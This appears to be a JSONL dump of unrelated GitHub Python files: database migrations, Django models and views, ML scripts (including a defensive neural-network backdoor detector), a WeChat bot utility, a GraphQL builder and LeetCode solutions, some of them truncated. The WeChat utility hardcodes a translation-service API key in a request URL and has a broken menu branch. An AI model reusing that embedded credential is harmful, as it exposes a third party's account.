+{"seq_id":"10210418767","text":"\"\"\"add UserBalance\n\nRevision ID: a2d1a9687b91\nRevises: 89065dc8cf5b\nCreate Date: 2023-01-26 16:57:27.247773\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a2d1a9687b91'\ndown_revision = '89065dc8cf5b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('user_balances',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('balance', sa.Float(), nullable=False),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('user_balances')\n # ### end Alembic commands ###\n","repo_name":"lowfie/BackendGameShop","sub_path":"migrations/versions/a2d1a9687b91_add_userbalance.py","file_name":"a2d1a9687b91_add_userbalance.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"71326026153","text":"book_we_search = input()\n\nbook_count = 0\n\nis_book_found = False\n\n\nwhile True:\n\n current_book = input()\n\n if book_we_search == current_book:\n is_book_found = True\n print(f'You checked {book_count} books and found it.')\n break\n if current_book == 'No More Books':\n break\n book_count += 1\n\n\n\nif not is_book_found:\n print(f'The book you search is not here!')\n print(f'You checked {book_count} books')","repo_name":"Darkartt/SoftUni","sub_path":"SoftUni-Basic/whille_loop_exercise#/old_library.py","file_name":"old_library.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"11249213378","text":"import torch\nfrom torch import nn\n\n\nclass PositionalEmbedding(nn.Module):\n\n def __init__(self, width: int, height: int, channels: int) -> None:\n super().__init__()\n east = torch.linspace(0, 1, height).repeat(width)\n west = torch.linspace(1, 0, height).repeat(width)\n south = torch.linspace(0, 1, width).repeat(height)\n north = torch.linspace(1, 0, width).repeat(height)\n east = east.reshape(width, height)\n west = west.reshape(width, height)\n south = south.reshape(height, width).T\n north = north.reshape(height, width).T\n linear_pos_embedding = torch.stack([north, south, west, east], dim=0) # 4 x w x h\n linear_pos_embedding.unsqueeze_(0) # for batch size\n self.channels_map = nn.Conv2d(4, channels, kernel_size=1)\n self.register_buffer('linear_position_embedding', linear_pos_embedding)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n bs_linear_position_embedding = self.linear_position_embedding.expand(x.size(0), 4, x.size(2), x.size(3))\n x += self.channels_map(bs_linear_position_embedding)\n return x\n","repo_name":"Michedev/slot-attention-pytorch","sub_path":"slot_attention_pytorch/positional_embedding.py","file_name":"positional_embedding.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"28984082187","text":"# coding: utf-8\nfrom sussex_nltk.corpus_readers import ReutersCorpusReader\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem.porter import PorterStemmer\n\ndef vocabulary_size(sentences):\n tok_counts = collections.defaultdict(int)\n for sentence in sentences: \n for token in sentence:\n tok_counts[token] += 1\n return len(tok_counts.keys())\n\nrcr = ReutersCorpusReader() \nst = PorterStemmer()\n\nsample_size = 10000\n\nraw_sentences = rcr.sample_raw_sents(sample_size)\ntokenised_sentences = [word_tokenize(sentence) for sentence in raw_sentences]\nstemmed_sentences = [[st.stem(token) for token in sentence] for sentence in tokenised_sentences]\nraw_vocab_size = vocabulary_size(tokenised_sentences)\nstemmed_vocab_size = vocabulary_size(stemmed_sentences)\nprint(\"Stemming produced a {0:.2f}% reduction in vocabulary size from {1} to {2}\".format(\n 100*(raw_vocab_size - stemmed_vocab_size)/raw_vocab_size,raw_vocab_size,stemmed_vocab_size))\n","repo_name":"wmboult94/NLP","sub_path":"Workshops/Topic 1/solutions/impact_of_stemming.py","file_name":"impact_of_stemming.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"306446706","text":"import datetime\nfrom django.contrib import messages\nfrom django.views.generic.edit import FormView\nfrom django.views.generic import View\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponseRedirect\nfrom .models import Apply, Attachment, Term\nfrom .forms import ApplyForm\nfrom borana.settings import DROPBOX_CLIENT\n\n\ndef days_left(deadline):\n today = datetime.date.today()\n days_left = str(deadline - today).split(' ')[0]\n if int(days_left[-1])>4 or int(days_left[-1])==0 or 10< int(days_left) <15:\n word = \"дней\"\n verb = 'Осталось'\n elif 1 Set[str]:\n \"\"\"\n Returns a set with all Python std modules\n\n Source: https://stackoverflow.com/a/6464112\n\n Note:\n There's a cooler way in Python 3.10 (https://stackoverflow.com/a/21659703)\n but I'm aware that not all Pythoners use 3.10 currently.\n\n Returns:\n Set[str]: A set with all current Python std modules\n \"\"\"\n modules_set = set()\n std_lib = sysconfig.get_python_lib(standard_lib=True)\n\n for top, _, files in os.walk(std_lib):\n for nm in files:\n if nm != \"__init__.py\" and nm[-3:] == \".py\":\n modules_set.add(\n os.path.join(top, nm)[len(std_lib) + 1 : -3].replace(\"\\\\\", \".\")\n )\n\n return modules_set\n\n\ndef is_module_in_stl(module_name: str) -> bool:\n return module_name in _get_std_modules()\n","repo_name":"icaka98/median-heap","sub_path":"test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74032184873","text":"from django.utils.translation import gettext_lazy as _\nfrom django.core.validators import MinValueValidator\nfrom django.db import models\nfrom django.conf import settings\n\n\nclass Customer(models.Model):\n \"\"\"Represents customers, with or without signed contract.\n Each customer is related to a Custom User from Sale group.\n User from sale group can create potentials clients, without\n sale_customuser. User from admin group (superuser) attribute\n sale_costumer to client, converting potential client in active\n client.customer\n \"\"\"\n\n first_name = models.CharField(\n \"Prénom client\",\n max_length=25,\n help_text=_(\"Each customer has a first name with max 25 caracters.\"),\n )\n last_name = models.CharField(\n \"Nom de famille client\",\n max_length=25,\n help_text=_(\"Each customer has a last name with max 25 caracters.\")\n )\n email = models.EmailField(\n \"email client\",\n max_length=100,\n help_text=_(\"Each customer has an email with max 100 caracters.\"),\n )\n phone = models.CharField(\n \"Téléphone fixe client\",\n max_length=20,\n help_text=_(\"Each customer has a phone number with max 20 caracters.\"),\n blank=True,\n )\n mobile = models.CharField(\n \"Téléphone mobile client\",\n max_length=20,\n help_text=_(\"Each customer has a mobile phone number with max 20 \\\n caracters.\"),\n )\n company_name = models.CharField(\n \"Company\",\n max_length=250,\n help_text=_(\"Company name customer for professional customers with\\\n max 250 caracters.\"),\n blank=True,\n )\n datetime_created = models.DateTimeField(\n \"Date création client\",\n auto_now_add=True,\n help_text=_(\"custumer creation datetime is automatically filled in.\"),\n )\n datetime_updated = models.DateTimeField(\n \"Date mise à jour client\",\n auto_now=True,\n help_text=_(\"custumer update datetime is automatically filled in.\"),\n )\n sales_customuser = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n null=True,\n blank=True,\n verbose_name=\"Contact vendeur\",\n related_name='custumers',\n help_text=_(\"The admin team asign a salesperson to each customer.\\\n this seller negotiates with the customer for contracts sign\"),\n )\n\n class Meta:\n ordering = ['last_name', 'first_name']\n verbose_name_plural = _(\"Clients\")\n\n def __str__(self):\n return \"{} {}\".format(self.first_name, self.last_name)\n\n @property\n def full_name(self):\n \"\"\"return the custumer's full name\"\"\"\n return \"{} {} - suivi par {}\".format(self.first_name,\n self.last_name.upper(),\n self.sales_customuser)\n\n\nclass Contract(models.Model):\n \"\"\"Represents customer's contracts.\n Each contract is related to a Custom User from Sale group\n and to a custumer.\n \"\"\"\n datetime_created = models.DateTimeField(\n \"Date création contrat\",\n auto_now_add=True,\n help_text=_(\"contract creation datetime is automatically filled in.\"),\n )\n datetime_updated = models.DateTimeField(\n \"Date mise à jour contrat\",\n auto_now=True,\n help_text=_(\"contract update datetime is automatically filled in.\"),\n )\n status_sign = models.BooleanField(\n \"Signature contrat\",\n default=False,\n help_text=_(\"Has to pass on True when contract is signed\"),\n )\n amount = models.DecimalField(\n \"Montant du contrat\",\n max_digits=9,\n decimal_places=2,\n help_text=_(\"Contract amount when signed. Float number\"),\n )\n payment_due = models.DateField(\n \"Echéance de paiement\",\n help_text=_(\"Payment due. Format: AAAA-MM-JJ\"),\n )\n customer = models.ForeignKey(\n Customer,\n on_delete=models.CASCADE,\n verbose_name=\"customer\",\n related_name=\"contracts_customer\",\n help_text=_(\"Each contract is related to a customer\"),\n )\n sales_customuser = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name=\"Contact vendeur\",\n related_name='contracts',\n help_text=_(\"The admin team asign a salesperson to each customer.\\\n this seller negotiates with the customer for contracts sign\"),\n )\n\n class Meta:\n ordering = ['customer', '-datetime_created']\n verbose_name_plural = _(\"Contrats\")\n\n def __str__(self):\n return \"Contracté pour {} - {} $\".format(self.customer, self.amount)\n\n @property\n def description(self):\n \"\"\"return a short dercription of contract\"\"\"\n return \"Contracté pour {} - suivi par {}\".format(self.customer,\n self.sales_customuser)\n\n\nclass EventStatus(models.Model):\n \"\"\"Event status.\n \"\"\"\n status = models.CharField(\n \"Status évènement\",\n max_length=250,\n help_text=_(\"For event status choice. Three choices\\\n possibles: En préparation, En cours, Terminé\"),\n )\n\n class Meta:\n verbose_name_plural = _(\"Status évènements\")\n\n def __str__(self):\n return \"{}\".format(self.status)\n\n\nclass Event(models.Model):\n \"\"\"Represents customer's event.\n Each event is related to a CustomUser from Support group\n and to a customer.\n \"\"\"\n datetime_created = models.DateTimeField(\n \"Date création évènement\",\n auto_now_add=True,\n help_text=_(\"event creation datetime is automatically filled in.\"),\n )\n datetime_updated = models.DateTimeField(\n \"Date mise à jour évènement\",\n auto_now=True,\n help_text=_(\"event update datetime is automatically filled in.\"),\n )\n attendees = models.IntegerField(\n \"Nombre convives\",\n validators=[MinValueValidator(0)],\n null=True,\n blank=True,\n help_text=_(\"number of attendees. Must be positive integer\"),\n )\n event_date = models.DateField(\n \"Date de l'évènement\",\n null=True,\n blank=True,\n help_text=_(\"Date event. Format: AAAA-MM-JJ\"),\n )\n notes = models.TextField(\n \"Notes et détails d'organisation\",\n help_text=_(\"Notes and organisation details.\"),\n blank=True,\n )\n customer = models.ForeignKey(\n Customer,\n on_delete=models.CASCADE,\n verbose_name=\"customer\",\n related_name='events_customer',\n help_text=_(\"Each event is related to a custumer\"),\n )\n support_customuser = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n null=True,\n blank=True,\n verbose_name=\"Contact support\",\n related_name='events',\n help_text=_(\"The admin team asign a support person to each customer.\\\n this supprt personn manage event oàrganisation with the customer\"),\n )\n\n status = models.ForeignKey(\n EventStatus,\n on_delete=models.CASCADE,\n verbose_name=\"status évènement\",\n related_name='status_events',\n default=1,\n help_text=_(\"Each event has a status: '1: En préparation',\\\n '2: En cours' or '3: Terminé'\"),\n )\n\n class Meta:\n ordering = ['status', 'event_date']\n verbose_name_plural = _(\"Evènements\")\n\n def __str__(self):\n return \"Evènement commandé par {} - suivi par {}\".format(\n self.customer, self.support_customuser)\n\n @property\n def description(self):\n \"\"\"return a short description of event\"\"\"\n return \"Evènement commandé par {} - {} \".format(\n self.customer, self.status)\n\n @property\n def has_support(self):\n \"\"\"Return True if event has support\n \"\"\"\n if self.support_customuser is None:\n return False\n else:\n return True\n","repo_name":"ChardonBleu/EpicEvent","sub_path":"CRM/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74266251114","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport time\nimport hashlib\nimport functools\n\nimport tornado.template as template\n\nimport requests\nfrom lxml import etree\n\nfrom local_setting import WX_PLAT_TOKEN, TAX_CONST, TAX_START_CONST, tmp\n\n\nclass Retry(object):\n \"\"\"This class will create a retry decorator.\n Using is_valid to judge if wrapped function failed.\n Retry if wrapped function failed.\n Retry at most MAX_TRIES times.\n \"\"\"\n MAX_TRIES = 3\n\n def __init__(self, is_valid=id, max_tries=3):\n self.is_valid = is_valid\n self.MAX_TRIES = max_tries\n\n def __call__(self, func):\n @functools.wraps(func)\n def retried_func(*args, **kwargs):\n resp = None\n tries = 0\n while tries < self.MAX_TRIES:\n try:\n resp = func(*args, **kwargs)\n except Exception:\n continue\n if self.is_valid(resp):\n break\n tries += 1\n return resp\n return retried_func\n\n\nretry = Retry()\n\n\ndef parse(xml_string):\n \"\"\"\n parse xml string, return a message object if succeed, else return None\n :param xml_string: xml string that we-chat post to server\n :return: None or a message object\n \"\"\"\n # TODO\n # add support for other type of message\n # add support for encrypted message\n xml = etree.fromstring(xml_string)\n developer = xml.find('ToUserName').text\n sender = xml.find('FromUserName').text\n create_time = xml.find('CreateTime').text\n message_type = xml.find('MsgType').text\n message = None\n\n # 信息类型是text\n if message_type == 'text':\n message_id = xml.find('MsgId').text\n content = xml.find('Content').text\n Loader = template.Loader(\"templates\")\n text_resp = Loader.load(\"text_reply.xml\")\n t = template.Template(tmp)\n if content.startswith('!menu'):\n temp = tuple(content[3:].split(u','))\n param1 = int(temp[0])\n param2 = int(temp[1])\n RespContent = \"\"\"\n# 中英互译:直接输入中文\\n\n# 查询税后收入:!薪水<数字金额>,<发多少个月工资>例如 “#12000,13”\n\"\"\" % calc_tax(param1,param2)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n if content.startswith(u'#'):\n temp = tuple(content[1:].split(u','))\n param1 = int(temp[0])\n param2 = int(temp[1])\n RespContent = \"\"\"\n* 月入:%s ,年入:%s *\\n\n月实际收入:%s\\n税赋:%s\\n\n年实际奖金:%s\\n税赋:%s\\n\n* 一年实际总收入:%s *\n\"\"\" % calc_tax(param1,param2)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n if type(content).__name__ == 'unicode':\n content = content.encode('utf-8')\n RespContent = youdao(content)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n\n\n # 信息类型是event\n if message_type == \"event\":\n eventContent = xml.find(\"Event\").text\n if eventContent == \"subscribe\":\n RespContent = \"\"\"\n感谢你的关注。\n若有疑问请在微信中查找添加 infixz。\n目前实用功能有:\n1.中英文互译(感谢有道翻译)。\n2.流言(这是一个匿名聊天板)。\n3.薪水(帮你计算税后所得)。\n输入 !menu 查看操作指令\"\"\"\n t = template.Template(tmp)\n return t.generate(toUser=sender,\n fromUser=developer,\n int_time=int(time.time()),\n Content=RespContent)\n\n\ndef check_signature(signature, timestamp, nonce):\n \"\"\"check if we-chat message is valid\"\"\"\n if not signature or not timestamp or not nonce or not WX_PLAT_TOKEN:\n return False\n tmp_lst = [WX_PLAT_TOKEN, timestamp, nonce]\n tmp_lst.sort()\n tmp_str = ''.join(tmp_lst)\n return hashlib.sha1(tmp_str).hexdigest() == signature\n\n\ndef calc_tax(salary_m,num):\n # 检查参数类型\n if not (type(salary_m) == int and type(num) == int):\n return False\n # init param\n salary_m_in_real = 0\n salary_m_tax = 0\n salary_y = 0 # 每年账面薪水(包含奖金)\n base = salary_m - TAX_START_CONST\n income = 0 # 每年实际入账(包含税后奖金)\n bonus = num # 账面奖金\n bonus_in_real = 0\n bonus_tax = 0\n if 12 < num <= 30:\n bonus = salary_m * (num - 12)\n elif num == 12:\n bonus = 0\n salary_y = salary_m * 12 + bonus\n # 计算税率\n # part1:salary part\n (rate,deduct) = tax_rate(base)\n salary_m_tax = (salary_m - TAX_START_CONST) * rate - deduct\n salary_m_in_real = salary_m - salary_m_tax\n # part2:bonus part\n (rate,deduct) = tax_rate(bonus)\n bonus_tax = bonus * rate - deduct\n bonus_in_real = bonus - bonus_tax\n # part3:total\n income = salary_m_in_real * 12 + bonus_in_real\n return (salary_m,salary_y,\n salary_m_in_real,salary_m_tax,\n bonus_in_real,bonus_tax,\n income)\n\n\ndef tax_rate(money):\n if money == 0:\n return (0.0,0)\n if 0 < money <= 1500:\n return TAX_CONST[1]\n if 1500 < money <= 4500:\n return TAX_CONST[2]\n if 4500 < money <= 9000:\n return TAX_CONST[3]\n if 9000 < money <= 35000:\n return TAX_CONST[4]\n if 35000 < money <= 55000:\n return TAX_CONST[5]\n if 55000 < money <= 80000:\n return TAX_CONST[6]\n if 80000 < money:\n return TAX_CONST[7]\n \n\ndef youdao(word):\n url = r'http://fanyi.youdao.com/openapi.do?keyfrom=sorrible&key=1660616686&type=data&doctype=json&version=1.1&q='\n builded_url = url+word\n result = requests.get(builded_url).json()\n if result['errorCode'] == 0:\n if 'basic' in result.keys():\n trans = '%s:\\n%s\\n%s\\n网络释义:\\n%s'%(result['query'],''.join(result['translation']),' '.join(result['basic']['explains']),'\\n'.join(result['web'][0]['value']))\n return trans\n else:\n trans = '%s:\\n基本翻译:%s\\n'%(result['query'],''.join(result['translation']))\n elif result['errorCode'] == 20:\n return '对不起,要翻译的文本过长'\n elif result['errorCode'] == 30:\n return '对不起,无法进行有效的翻译'\n elif result['errorCode'] == 40:\n return '对不起,不支持的语言类型'\n else:\n return '对不起,您输入的单词%s无法翻译,请检查拼写'% word\n","repo_name":"Infixz/ddddd","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":6894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15727576581","text":"\"\"\"\nDetect Backdoor attacks\n\"\"\"\n\nimport tensorflow as tf\nimport argparse as ap\nfrom pathlib import Path\nimport keras\n#rom eval import data_loader, data_preprocess\nfrom fine_pruning import data_preprocess_and_load\nimport os\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport copy\n\ndef build_parser():\n parser = ap.ArgumentParser()\n parser.add_argument('--orig', '-og', help='Path to original (backdoored) model', required=True)\n parser.add_argument('--pruned', '-pr', help='Path to Pruned model. Generate a pruned model using fine_prune.py', required=True)\n parser.add_argument('--dset', '-ds', help='Path to dataset', required=True)\n parser.add_argument('--outpath', '-o', help='File to store output labels', default='output.txt')\n return parser\n\n\ndef main():\n parser = build_parser()\n args = parser.parse_args()\n args.outpath = Path(args.outpath).resolve()\n if not args.outpath.parent.exists():\n os.makedirs(args.outpath.parent)\n \n orig_model = keras.models.load_model(args.orig)\n rep_model = keras.models.load_model(args.pruned)\n\n test_x, test_y = data_preprocess_and_load(args.dset)\n num_labels = 1282 ## YouTube Face dataset labels\n bd_label = num_labels+1 \n #print('Predicting ...')\n orig_preds = np.argmax(orig_model.predict(test_x), axis=1)\n rep_preds= np.argmax(rep_model.predict(test_x), axis=1)\n #print(orig_preds.shape)\n\n check = (orig_preds == rep_preds)\n final_preds = copy.deepcopy(orig_preds)\n final_preds[check==False] = bd_label\n np.save(args.outpath, final_preds)\n\nif __name__ == '__main__':\n main()","repo_name":"ameya005/ECE9163_project","sub_path":"detect_backdoor.py","file_name":"detect_backdoor.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17240389446","text":"from __future__ import annotations\nfrom typing import (\n Any,\n Callable,\n Generic,\n Optional,\n Type,\n TypeVar,\n Union,\n TYPE_CHECKING,\n)\nimport inspect\nfrom pathlib import Path\n\nfrom cuckoo.constants import ORDER_BY, WHERE\nfrom cuckoo.models import TMODEL\nfrom cuckoo.utils import BracketStyle, in_brackets\n\nif TYPE_CHECKING:\n from cuckoo.root_node import RootNode, HasuraClientError\n from cuckoo.include import TCOLUMNS\n from cuckoo.finalizers import AggregatesDict, CountDict\n\n\"\"\"The `BinaryTreeNode[TMODEL]` with its data class `GraphQLFragments`.\n\nThe `BinaryTreeNode[TMODEL]` represents a node in a binary tree and it uses an instance\nof the `GraphQLFragments` class for storing its data. The `GraphQLFragments` data class\ncontains a list of at least one response key class.\n\"\"\"\n\n\nclass ColumnResponseKey:\n def __init__(self, columns: TCOLUMNS):\n self._columns = columns\n\n def __str__(self):\n return \" \".join(str(column) for column in self._columns)\n\n\nclass ReturningResponseKey(ColumnResponseKey):\n def __str__(self):\n return f\"\"\"\n returning {{\n {super().__str__()}\n }}\n \"\"\"\n\n\nclass AggregateResponseKey:\n def __init__(\n self,\n aggregates: AggregatesDict,\n ):\n self._aggregates = aggregates\n\n @staticmethod\n def as_gql(obj):\n if isinstance(obj, dict):\n return in_brackets(\n \" \".join(\n f\"{key} {AggregateResponseKey.as_gql(value)}\"\n for key, value in obj.items()\n ),\n BracketStyle.CURLY,\n )\n elif isinstance(obj, set):\n return in_brackets(\n \" \".join(AggregateResponseKey.as_gql(value) for value in obj),\n BracketStyle.CURLY,\n )\n elif isinstance(obj, (str, int, float)) and not isinstance(obj, bool):\n return obj\n else:\n raise ValueError(\"Cannot convert to GraphQL: \", obj)\n\n def __str__(self):\n return f\"\"\"\n aggregate {{\n {\" \".join(\n f\"{field} {AggregateResponseKey.as_gql(obj)}\"\n for field, obj in self._aggregates.items()\n if obj is not None\n )}\n }}\n \"\"\"\n\n\nclass AffectedRowsResponseKey:\n def __str__(self):\n return \"affected_rows\"\n\n\nclass NodesResponseKey(ColumnResponseKey):\n def __str__(self):\n return f\"\"\"\n nodes {{\n {super().__str__()}\n }}\n \"\"\"\n\n\nclass GraphQLFragments(Generic[TMODEL]):\n \"\"\"\n Data class of the `BinaryTreeNode`, that stores all string fragments required for\n producing a GraphQL query or mutation. See `__str__` method for how they get\n arranged.\n \"\"\"\n\n def __init__(\n self,\n node: BinaryTreeNode[TMODEL],\n ):\n self._node = node\n self.query_name: str\n self.outer_args: list[str] = []\n self.inner_args: list[str] = []\n self.response_keys: list[\n Union[\n ColumnResponseKey,\n ReturningResponseKey,\n AggregateResponseKey,\n AffectedRowsResponseKey,\n NodesResponseKey,\n ]\n ] = []\n self.variables: dict[str, Any] = {}\n\n def build_from_conditionals(\n self,\n append: Optional[dict] = None,\n data: Optional[dict] = None,\n delete_at_path: Optional[dict] = None,\n delete_elem: Optional[dict] = None,\n delete_key: Optional[dict] = None,\n distinct_on: Optional[set[str]] = None,\n inc: Optional[dict] = None,\n limit: Optional[int] = None,\n offset: Optional[int] = None,\n on_conflict: Optional[dict[str, str]] = None,\n order_by: Optional[ORDER_BY] = None,\n pk_columns: Optional[dict] = None,\n prepend: Optional[dict] = None,\n updates: Optional[list[dict]] = None,\n where_req: Optional[WHERE] = None,\n where: Optional[WHERE] = None,\n args: Optional[tuple[dict, str]] = None, # (args_dict, function_name)\n ):\n table_name = self._node._get_table_name_by_model()\n fragments_by_arg = filter(\n lambda arg: arg[0] is not None,\n [\n (append, f\"{table_name}_append_input\", \"_append\"),\n (data, f\"{table_name}_set_input\", \"_set\"),\n (\n delete_at_path,\n f\"{table_name}_delete_at_path_input\",\n \"_delete_at_path\",\n ),\n (delete_elem, f\"{table_name}_delete_elem_input\", \"_delete_elem\"),\n (delete_key, f\"{table_name}_delete_key_input\", \"_delete_key\"),\n (distinct_on, f\"[{table_name}_select_column!]\", \"distinct_on\"),\n (inc, f\"{table_name}_inc_input\", \"_inc\"),\n (limit, \"Int\", \"limit\"),\n (offset, \"Int\", \"offset\"),\n (on_conflict, f\"{table_name}_on_conflict\", \"on_conflict\"),\n (order_by, f\"[{table_name}_order_by!]\", \"order_by\"),\n (pk_columns, f\"{table_name}_pk_columns_input!\", \"pk_columns\"),\n (prepend, f\"{table_name}_prepend_input\", \"_prepend\"),\n (updates, f\"[{table_name}_updates!]!\", \"updates\"),\n (where_req, f\"{table_name}_bool_exp!\", \"where\"),\n (where, f\"{table_name}_bool_exp\", \"where\"),\n (\n (None, None, None)\n if args is None\n else (args[0], f\"{args[1]}_args!\", \"args\")\n ),\n ],\n )\n\n for arg_value, outer_arg_type, inner_arg_name in fragments_by_arg:\n arg_name = self._node._root._generate_var_name()\n self.variables.update({arg_name: arg_value})\n self.outer_args.append(f\"${arg_name}: {outer_arg_type}\")\n self.inner_args.append(f\"{inner_arg_name}: ${arg_name}\")\n\n return self\n\n def build_for_count(self, count: Union[bool, CountDict, None]):\n count_args_str = None\n if count is True:\n count_args_str = \"\"\n elif isinstance(count, dict):\n count_args: list[str] = []\n assert self._node._root\n if \"columns\" in count:\n table_name = self._node._get_table_name_by_model()\n var = self._node._root._generate_var_name()\n self.outer_args.append(f\"${var}: [{table_name}_select_column!]\")\n self.variables.update({var: count[\"columns\"]})\n count_args.append(f\"columns: ${var}\")\n if \"distinct\" in count:\n var = self._node._root._generate_var_name()\n self.outer_args.append(f\"${var}: Boolean\")\n self.variables.update({var: count[\"distinct\"]})\n count_args.append(f\"distinct: ${var}\")\n count_args_str = f\"({', '.join(count_args)})\"\n else:\n raise HasuraClientError(f\"Illegal format of `count` argument: {count}\")\n return count_args_str\n\n\nTRECURSE = TypeVar(\"TRECURSE\")\n\"\"\"Return type of the `fn` function argument of the `BinaryTreeNode._recurse` method\"\"\"\n\n\nclass BinaryTreeNode(Generic[TMODEL]):\n \"\"\"Represents a node in a binary tree.\n\n A node has one `_parent` reference and a list of `_children` references to other\n nodes in the tree. For convenience, it also has a reference to the `_root` node for\n easy access. The root node is identified by having the `_parent` as well as the\n `_root` referencing `self` (see `is_root`).\n The class comes with some convenience methods for working with the tree:\n\n - `_get_table_name_by_model()`: get the DB table name of the model.\n - `_bind_to_parent(parent)`: bind the node to another by setting the `_parent` and\n `_children` references in both nodes accordingly.\n - `_recurse(function)`: apply a function to each child node and append the result of\n each call to a resulting list of results.\n \"\"\"\n\n def __init__(\n self: BinaryTreeNode,\n model: Type[TMODEL],\n parent: Optional[BinaryTreeNode] = None,\n ):\n super().__init__()\n self.model = model\n self._root: RootNode\n self._parent: BinaryTreeNode\n self._children: list[BinaryTreeNode] = []\n self._fragments = GraphQLFragments[TMODEL](self)\n\n if parent:\n self._bind_to_parent(parent)\n self._table_name = self._get_table_name_by_model()\n self._query_alias = self._root._generate_var_name()\n else:\n self._root = self._parent = self # make self a root node\n\n def __str__(self: BinaryTreeNode):\n inner_args = self._fragments.inner_args\n return f\"\"\"\n {self._fragments.query_name}{\n in_brackets(', '.join(inner_args), condition=bool(inner_args))\n } {{\n {\" \".join(str(rk) for rk in self._fragments.response_keys)}\n }}\n \"\"\"\n\n @property\n def _is_root(self):\n return self._parent == self._root == self\n\n def _get_schema_name(self):\n return Path(inspect.getfile(self.model)).parent.name\n\n def _get_table_name_by_model(self):\n \"\"\"\n Get the table schema and name in the format `_
`. The\n schema name is taken from the parent directory name the model file is\n placed in. The table name is taken from the ``_table_name`` attribute of\n the `HasuraTableModel`.\n Example:\n\n ```\n # models/anomaly/signal.py\n class Signal(HasuraTableModel):\n _table_name = \"signals\"\n uuid: UUID\n # more signal properties\n\n assert BinaryTreeNode(Signal)._get_table_name_by_model() == \"anomaly_signals\"\n ```\n \"\"\"\n return self._prepend_with_schema(self.model._table_name)\n\n def _prepend_with_schema(self, label: str):\n schema = self._get_schema_name()\n if schema == \"public\":\n return label\n else:\n return f\"{schema}_{label}\"\n\n def _bind_to_parent(self, parent: BinaryTreeNode):\n self._parent = parent\n self._root = parent._root\n parent._children.append(self)\n return self\n\n def _recurse(self, fn: Callable[[BinaryTreeNode], TRECURSE]):\n results: list[TRECURSE] = []\n for child in self._children:\n results.append(fn(child))\n results += child._recurse(fn)\n return results\n","repo_name":"hotaru355/cuckoo-hasura","sub_path":"cuckoo/binary_tree_node.py","file_name":"binary_tree_node.py","file_ext":"py","file_size_in_byte":10567,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"33941741247","text":"def minim(x,y):\n if x int:\n n = len(cost)\n cost.append(0)\n minCost = [0,cost[0]]\n for i in range(2,n+1):minCost.append(0)\n for i in range(2,n+1):\n minCost[i] = cost[i-1] + min(minCost[i-1],minCost[i-2])\n return minim(minCost[n],minCost[n-1])","repo_name":"piratzii-tm/algorithms_solutions","sub_path":"leetcode/Min_Cost_Climbing_Stairs.py","file_name":"Min_Cost_Climbing_Stairs.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16245807677","text":"\"\"\"Two Sum in Binary Search Tree.\"\"\"\n\n\nclass Node:\n def __init__(self, data: int) -> None:\n self.data = data\n self.left = None\n self.right = None\n\n\nclass Solution:\n def __init__(self, root: Node) -> None:\n self.root = root\n self.first: Node = None\n self.prev: Node = None\n self.middle: Node = None\n self.last: Node = None\n\n def inorder(self, root: Node) -> None:\n if root is None:\n return\n self.inorder(root.left)\n if self.prev is not None and root.data < self.prev.data:\n # this is the first violation mark these two nodes as first and middle\n if self.first is None:\n self.first = self.prev\n self.middle = root\n # If this is second violation mark this node as last\n else:\n self.last = root\n # mark this node as previous\n self.prev = root\n self.inorder(root.right)\n\n def recover_bst(self) -> None:\n self.prev: Node = Node(float(\"-inf\"))\n self.inorder(root=self.root)\n if self.first and self.last:\n self.first.data, self.last.data = self.last.data, self.first.data\n elif self.first and self.middle:\n self.first.data, self.middle.data = self.middle.data, self.first.data\n\n\ndef in_order(root: Node) -> None:\n if root is None:\n return\n in_order(root.left)\n print(root.data, end=\"->\")\n in_order(root.right)\n\n\ndef build_tree() -> Node:\n root: Node = Node(3)\n 